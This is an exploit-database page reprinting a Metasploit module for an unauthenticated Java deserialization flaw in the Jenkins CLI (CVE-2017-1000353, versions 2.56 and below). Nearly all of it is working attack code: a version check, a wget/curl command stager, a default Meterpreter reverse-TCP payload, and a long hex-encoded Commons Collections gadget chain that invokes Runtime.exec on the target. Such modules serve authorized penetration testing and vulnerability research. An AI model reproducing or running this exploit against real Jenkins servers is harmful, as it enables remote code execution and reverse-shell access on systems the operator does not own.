Jenkins 2.56 CLI Deserialization / Code Execution

2020.09.24
Credit: Shelby Pace
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Jenkins CLI Deserialization', 'Description' => %q{ An unauthenticated Java object deserialization vulnerability exists in the CLI component for Jenkins versions `v2.56` and below. The `readFrom` method within the `Command` class in the Jenkins CLI remoting component deserializes objects received from clients without first checking / sanitizing the data. Because of this, a malicious serialized object contained within a serialized `SignedObject` can be sent to the Jenkins endpoint to achieve code execution on the target. }, 'License' => MSF_LICENSE, 'Author' => [ 'SSD', # PoC 'Unknown', # Vulnerability discovery 'Shelby Pace' # Metasploit module ], 'References' => [ [ 'URL', 'https://www.jenkins.io/security/advisory/2017-04-26/'], [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/'], [ 'CVE', '2017-1000353'] ], 'Privileged' => false, 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => [ 'wget', 'curl' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2017-04-26', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ UNRELIABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS ] }, 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The base path to Jenkins', '/' ]) ] ) end def check login_uri = normalize_uri(target_uri.path, 'login') login_res = send_request_cgi( 'method' => 'GET', 'uri' => login_uri ) return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res /Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version vers_no = Gem::Version.new(version) return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Gem::Version.new('2.54') Exploit::CheckCode::Detected end def exploit print_status('Sending payload...') execute_cmdstager(noconcat: true) end def format_payload(payload_data) formatted_payload = '74' formatted_payload << payload_data.length.to_s(16).rjust(4, '0') formatted_payload << payload_data.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join end def execute_command(cmd, _opts = {}) sess_uuid = SecureRandom.uuid sess_uri = normalize_uri(target_uri.path, 'cli') preamble = '<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4=' send_request_cgi( { 'uri' => sess_uri, 'method' => 'POST', 'headers' => { 'Side' => 'download', 'Session' => sess_uuid } }, nil, false ) # don't wait for response, and don't disconnect cmd = build_obj(cmd) send_request_cgi( { 'uri' => sess_uri, 'method' => 'POST', 'data' => preamble + [ cmd ].pack('H*'), 'headers' => { 'Side' => 'upload', 'Session' => sess_uuid } } ) sleep(2) # give buffer time between requests for processing end def build_obj(obj_data) payload_data = '00000000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61' payload_data << '701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742' payload_data << 'e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e6375727265' payload_data << '6e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e5' payload_data << '77269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e' payload_data << '436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e637572726' payload_data << '56e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63' payload_data << '757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6' payload_data << 'd70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f' payload_data << '6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537' payload_data << '472696e673b7870757200025b42acf317f8060854e002000078700000050daced0005737200116a6176612e7574696c2e48617368536574ba44' payload_data << '859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6' payload_data << 'e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a' payload_data << '6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e7' payload_data << '32e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61706163' payload_data << '68652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6' payload_data << 'e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d6954' payload_data << '72616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d657' payload_data << '23b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8' payload_data << '3418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436' payload_data << 'f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c' payload_data << '616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7' payload_data << '32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f' payload_data << '6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d547' payload_data << '97065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c' payload_data << '02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700' payload_data << '00000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078' payload_data << '707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106' payload_data << 'a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013' payload_data << '75720013' payload_data << '5b4c6a6176612e6c616e672e537472696e673b' payload_data << 'add256e7e91d7b47' payload_data << '020000' payload_data << '7870' payload_data << '00000001' obj_data = format_payload(obj_data) payload_data << obj_data payload_data << '740004' payload_data << '65786563' # exec payload_data << '7571007e0' payload_data << '01b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756578' payload_data << '7200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700' payload_data << '507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878' payload_data << '787571007e00110000002f302d02147ed1e347cfebac075517d658628ac128211d8895021500945aaa3b69fb24194cdf22bcee9fc9c5e317266' # This index is the length of the serialized # object that belongs to the SignedObject start_arr = payload_data.index('050daced') end_arr = payload_data.index('787571007e') new_arr_len = ((end_arr + 2) / 2) - ((start_arr + 4) / 2) payload_data[start_arr, 4] = new_arr_len.to_s(16).rjust(4, '0') payload_data << '0740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72' payload_data << '672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced5302000' payload_data << '14c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c' payload_data << '656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b03000078707' payload_data << '37200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c' payload_data << '656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136' payload_data << 'a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740004617364667878' payload_data << '7371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078' end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top